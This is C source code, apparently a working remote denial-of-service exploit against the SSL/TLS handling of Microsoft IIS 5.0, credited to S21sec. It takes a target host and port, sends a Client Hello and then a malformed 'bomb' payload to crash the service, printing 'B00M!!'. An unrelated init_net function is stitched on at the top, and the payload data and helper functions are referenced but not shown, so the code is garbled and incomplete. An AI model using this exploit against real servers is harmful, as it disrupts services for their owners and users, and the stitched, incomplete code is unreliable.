int init_net (void) { int rc; rc = init_msg_tau(getprogname()); if (rc) { eprintf("init_msg failed %d", rc); } sw_register(getprogname()); rc = init_cmd(); if (rc) return failure("init_cmd", rc); rc = init_hello(); if (rc) return failure("init_hello", rc); rc = init_sage(); if (rc) return failure("init_sage", rc); return rc; }
int main(int argc, char *argv[]) { struct sockaddr_in addr; int sock,i; char buffer[32]; setvbuf(stdout, NULL, _IONBF, 0); printf("\n<*> S21sec Microsoft IIS 5.0 SSL/TLS Remote DoS <*>\n\n"); tls=0; if ((argc != 4) && (argc != 3)) { printf(" Usage: %s [host] [port] {t}\n", argv[0]); printf(" host - Host (name/IP) to connect to.\n"); printf(" port - TCP port to connect to.\n"); printf(" t - Enable TLS (disabled by default).\n\n"); exit(1); } if (argc == 4) { if ( strcmp(argv[3], "t")) { printf(" -> Ouch!! What is '%s'?\n\n",argv[3]); exit(1); } else { tls=1; bin_data[2]=0x01; } } memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_port = htons(atoi(argv[2])); if ( exist_host( argv[1], (u_long *)&(addr.sin_addr.s_addr) ) ) { printf(" -> Ouch!! Wrong or nonexistant host '%s'!!\n\n",argv[1]); exit(1); } if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) { printf(" -> Error on socket(): %s\n", strerror(errno)); exit(1); } printf(" -> Connecting to %s:%s...",argv[1],argv[2]); if (connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == -1) { printf("\n -> Error on connect(): %s\n", strerror(errno)); exit(1); } init_hello(); printf(" OK\n -> Sending %s Client Hello...",((tls)?"TLS":"SSL")); if (write(sock, (void *)&ssl_hello, sizeof(struct ssl_hello)) == -1) { printf("\n -> Error on write(): %s\n", strerror(errno)); exit(1); } printf(" OK\n -> Waiting for %s Server Hello...",((tls)?"TLS":"SSL")); if (read(sock, (void *)buffer, sizeof(buffer)) == -1) { printf("\n -> Error on read(): %s\n", strerror(errno)); exit(1); } printf(" OK\n -> Sending bomb..."); if (write(sock, (void *)bin_data, sizeof(bin_data)) == -1) { printf("\n -> Error on write(): %s\n", strerror(errno)); exit(1); } for (i=0; i<6 ; i++) { printf(" B00M!!"); usleep(350000); } close(sock); printf("\n ->\n -> OK. If DoS has been worked you will not be able to negotiate %s with %s:%s\n\n", ((tls)?"TLS":"SSL"),argv[1],argv[2]); exit(0); }